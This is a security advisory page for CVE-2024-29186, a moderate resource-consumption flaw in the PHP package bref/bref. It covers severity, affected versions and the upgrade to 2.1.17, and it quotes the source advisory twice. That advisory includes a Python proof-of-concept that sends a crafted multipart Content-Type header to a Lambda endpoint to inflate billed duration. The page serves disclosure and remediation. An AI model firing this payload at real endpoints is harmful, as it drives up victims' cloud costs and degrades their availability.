CVE-2024-29186: Bref/bref Slow String Operations Vulnerability

MODERATE
Advisory Identifier: GHSA-j4hq-f63x-f39r
CVSS 5.3
CWE-400
Published
Advisory Summary

CVE-2024-29186 is a MODERATE (CVSS 5.3) slow string operations vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Bref/bref libraries in the Packagist ecosystem. The issue involves slow string operations via multipart requests in event-driven functions. Remediation is available by upgrading affected packages to version 2.1.17.

CVE-2024-29186 at a Glance

CVE Identifier CVE-2024-29186
GHSA Identifier GHSA-j4hq-f63x-f39r
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Bref/bref
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2024-29186

To remediate this vulnerability, upgrade all affected Bref/bref dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bref/bref fixed: 2.1.17
Upgrade bref/bref to 2.1.17
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for bref/bref

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-29186, inspect your project dependencies for Bref/bref:

inspect dependencies for bref/bref

Analyze the terminal output to locate any version of Bref/bref in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.17), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Bref/bref, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Impacted Resources bref/src/Event/Http/Psr7Bridge.php:94-125 multipart-parser/src/StreamedPart.php:383-418 ## Description When Bref is used with the Event-Driven Function runtime and the handler is a `RequestHandlerInterface`, then the Lambda event is converted to a PSR7 object. During the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the `Content-Type` header of each part is read using the [`Riverline/multipart-parser`](https://github.com/Riverline/multipart-parser/) library. The library, in the `StreamedPart::parseHeaderContent` function, performs slow multi-byte string operations on the header value. Precisely, the [`mb_convert_encoding`](https://www.php.net/manual/en/function.mb-convert-encoding.php) function is used with the first (`$string`) and third (`$from_encoding`) parameters read from the header value. ## Impact An attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration. The attack has the following requirements and limitations: - The Lambda should use the Event-Driven Function runtime. - The Lambda should use the `RequestHandlerInterface` handler. - The Lambda should implement at least an endpoint accepting POST requests. - The attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref). - If the Lambda uses a PHP runtime <= php-82 the impact is higher as the billed duration in the default 1024MB RAM Lambda image of Bref could be brought to more than 900ms for each request. Notice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB. ## PoC 1. Create a new Bref project. 2. Create an `index.php` file with the following content: ```php <?php namespace App; require __DIR__ . '/vendor/autoload.php'; use Nyholm\Psr7\Response; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Server\RequestHandlerInterface; class MyHttpHandler implements RequestHandlerInterface { public function handle(ServerRequestInterface $request): ResponseInterface { return new Response(200, [], "OK"); } } return new MyHttpHandler(); ``` 3. Use the following `serverless.yml` to deploy the Lambda: ```yaml service: app provider: name: aws region: eu-central-1 plugins: - ./vendor/bref/bref # Exclude files from deployment package: patterns: - '!node_modules/**' - '!tests/**' functions: api: handler: index.php runtime: php-83 events: - httpApi: 'ANY /endpoint' ``` 4. Run the following python script with as first argument the domain assigned to the Lambda (e.g. `python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com`): ```python from requests import post from sys import argv if len(argv) != 2: print(f"Usage: {argv[0]} <domain>") exit() url = f"https://{argv[1]}/endpoint" headers = {"Content-Type": "multipart/form-data; boundary=a"} data_normal = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n--a--\r\n" data_malicious = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n\r\n\r\n--a--\r\n" print("[+] Sending normal request") post(url, headers=headers, data=data_normal) print("[+] Sending malicious request") post(url, headers=headers, data=data_malicious) ``` 5. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious `Content-Type` header, used more than 400ms of billed duration. ## Suggested Remediation Perform an additional validation on the headers parsed via the `StreamedPart::parseHeaderContent` function to allow only legitimate headers with a reasonable length.

CVE-2024-29186 Affected Bref/bref Versions

1 component(s)
Fixed Versions:
2.1.17
Product / Package Ecosystem Affected Versions Fixed Version
bref/bref
Packagist
< 2.1.17
2.1.17

References

Frequently Asked Questions

What is CVE-2024-29186?
CVE-2024-29186 is a security vulnerability in Bref/bref involving Slow String Operations via MultiPart Requests in Event-Driven Functions under CWE-400: Uncontrolled Resource Consumption.
Which Bref/bref versions are affected?
Affected versions include releases prior to 2.1.17 across affected packages: bref/bref.
What version fixes CVE-2024-29186?
Upgrading to 2.1.17 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bref/bref affected?
Yes, bref/bref is affected in releases prior to 2.1.17. Upgrade your dependency to 2.1.17 or later.
What is the CVSS score of CVE-2024-29186?
CVE-2024-29186 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2024-29186?
CVE-2024-29186 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Packagist dependencies for CVE-2024-29186?
Run the dependency tree command: 'inspect dependencies for bref/bref'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j4hq-f63x-f39r",
  "modified" : "2024-03-22T20:02:19Z",
  "published" : "2024-03-22T16:57:40Z",
  "aliases" : [ "CVE-2024-29186" ],
  "summary" : "Slow String Operations via MultiPart Requests in Event-Driven Functions",
  "details" : "## Impacted Resources\n\nbref/src/Event/Http/Psr7Bridge.php:94-125\nmultipart-parser/src/StreamedPart.php:383-418\n\n## Description\n\nWhen Bref is used with the Event-Driven Function runtime and the handler is a `RequestHandlerInterface`, then the Lambda event is converted to a PSR7 object.\nDuring the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the `Content-Type` header of each part is read using the [`Riverline/multipart-parser`](https://github.com/Riverline/multipart-parser/) library.\n\nThe library, in the `StreamedPart::parseHeaderContent` function, performs slow multi-byte string operations on the header value.\nPrecisely, the [`mb_convert_encoding`](https://www.php.net/manual/en/function.mb-convert-encoding.php) function is used with the first (`$string`) and third (`$from_encoding`) parameters read from the header value.\n\n## Impact\n\nAn attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.\n\nThe attack has the following requirements and limitations:\n- The Lambda should use the Event-Driven Function runtime.\n- The Lambda should use the `RequestHandlerInterface` handler.\n- The Lambda should implement at least an endpoint accepting POST requests.\n- The attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref).\n- If the Lambda uses a PHP runtime <= php-82 the impact is higher as the billed duration in the default 1024MB RAM Lambda image of Bref could be brought to more than 900ms for each request.\n\nNotice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB.\n\n## PoC\n\n1. Create a new Bref project.\n2. Create an `index.php` file with the following content:\n```php\n<?php\n\nnamespace App;\n\nrequire __DIR__ . '/vendor/autoload.php';\n\nuse Nyholm\\Psr7\\Response;\nuse Psr\\Http\\Message\\ResponseInterface;\nuse Psr\\Http\\Message\\ServerRequestInterface;\nuse Psr\\Http\\Server\\RequestHandlerInterface;\n\nclass MyHttpHandler implements RequestHandlerInterface\n{\n    public function handle(ServerRequestInterface $request): ResponseInterface\n    {\n        return new Response(200, [], \"OK\");\n    }\n}\n\nreturn new MyHttpHandler();\n\n```\n3. Use the following `serverless.yml` to deploy the Lambda:\n```yaml\nservice: app\n\nprovider:\n    name: aws\n    region: eu-central-1\n\nplugins:\n    - ./vendor/bref/bref\n\n# Exclude files from deployment\npackage:\n    patterns:\n        - '!node_modules/**'\n        - '!tests/**'\n\nfunctions:\n    api:\n        handler: index.php\n        runtime: php-83\n        events:\n            - httpApi: 'ANY /endpoint'\n```\n4. Run the following python script with as first argument the domain assigned to the Lambda (e.g. `python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com`):\n```python\nfrom requests import post\nfrom sys import argv\n\nif len(argv) != 2:\n    print(f\"Usage: {argv[0]} <domain>\")\n    exit()\n\nurl = f\"https://{argv[1]}/endpoint\"\nheaders = {\"Content-Type\": \"multipart/form-data; boundary=a\"}\ndata_normal = f\"--a\\r\\nContent-Disposition: form-data; name=\\\"0\\\"\\r\\n\\r\\nContent-Type: ;*=auto''{('a'*(4717792))}'\\r\\n--a--\\r\\n\"\ndata_malicious = f\"--a\\r\\nContent-Disposition: form-data; name=\\\"0\\\"\\r\\nContent-Type: ;*=auto''{('a'*(4717792))}'\\r\\n\\r\\n\\r\\n--a--\\r\\n\"\n\nprint(\"[+] Sending normal request\")\npost(url, headers=headers, data=data_normal)\n\nprint(\"[+] Sending malicious request\")\npost(url, headers=headers, data=data_malicious)\n\n```\n5. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious `Content-Type` header, used more than 400ms of billed duration.\n\n## Suggested Remediation\n\nPerform an additional validation on the headers parsed via the `StreamedPart::parseHeaderContent` function to allow only legitimate headers with a reasonable length.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "bref/bref"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.17"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/brefphp/bref/security/advisories/GHSA-j4hq-f63x-f39r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-29186"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/brefphp/bref/commit/5f7c0294628dbcec6305f638ff7e2dba8a1c2f45"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/brefphp/bref"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-22T16:57:40Z",
    "nvd_published_at" : "2024-03-22T17:15:08Z"
  }
}